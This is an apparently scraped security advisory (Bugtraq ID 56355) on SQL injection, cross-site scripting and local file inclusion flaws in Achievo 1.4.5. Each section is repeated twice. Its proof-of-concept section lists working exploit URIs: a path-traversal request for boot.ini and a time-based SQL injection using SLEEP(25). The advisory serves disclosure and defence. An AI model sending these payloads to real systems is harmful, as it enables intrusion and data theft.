Achievo Multiple Input Validation Vulnerabilities
BID:56355
Info
Achievo Multiple Input Validation Vulnerabilities
| Bugtraq ID: | 56355 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 01 2012 12:00AM |
| Updated: | Nov 01 2012 12:00AM |
| Credit: | Canberk Bolat |
| Vulnerable: |
Achievo Achievo 1.4.5 |
| Not Vulnerable: | |
Discussion
Achievo Multiple Input Validation Vulnerabilities
Achievo is prone to multiple input-validation vulnerabilities including:
1. An SQL-injection vulnerability.
2. Multiple cross-site-scripting vulnerabilities.
3. A local file-include vulnerability.
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database to obtain potentially sensitive information, or execute arbitrary script code in the context of the web server process.
Achievo 1.4.5 is vulnerable; other versions may also be affected.
Achievo is prone to multiple input-validation vulnerabilities including:
1. An SQL-injection vulnerability.
2. Multiple cross-site-scripting vulnerabilities.
3. A local file-include vulnerability.
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database to obtain potentially sensitive information, or execute arbitrary script code in the context of the web server process.
Achievo 1.4.5 is vulnerable; other versions may also be affected.
Exploit / POC
Achievo Multiple Input Validation Vulnerabilities
Attackers can use a browser to exploit these issues. To exploit the cross-site scripting issues, an attacker must entice an unsuspecting user into following a malicious URI.
The following exploit URIs are available:
http://www.example.com/dispatch.php (GET: atklevel, atkaction, atkstackid,atkselector, atkfilter, searchString)
http://www.example.com/dispatch.php?atkaction=search&atknodetype=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00.search&searchstring=3
http://www.example.com/achievo-1.4.5/dispatch.php?atknodetype=employee.userprefs&atkaction=edit&atkselector=(SELECT%201%20FROM%20(SELECT%20SLEEP(25))A)&atklevel=-1&atkprevlevel=0&=3
Attackers can use a browser to exploit these issues. To exploit the cross-site scripting issues, an attacker must entice an unsuspecting user into following a malicious URI.
The following exploit URIs are available:
http://www.example.com/dispatch.php (GET: atklevel, atkaction, atkstackid,atkselector, atkfilter, searchString)
http://www.example.com/dispatch.php?atkaction=search&atknodetype=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00.search&searchstring=3
http://www.example.com/achievo-1.4.5/dispatch.php?atknodetype=employee.userprefs&atkaction=edit&atkselector=(SELECT%201%20FROM%20(SELECT%20SLEEP(25))A)&atklevel=-1&atkprevlevel=0&=3
Solution / Fix
Achievo Multiple Input Validation Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].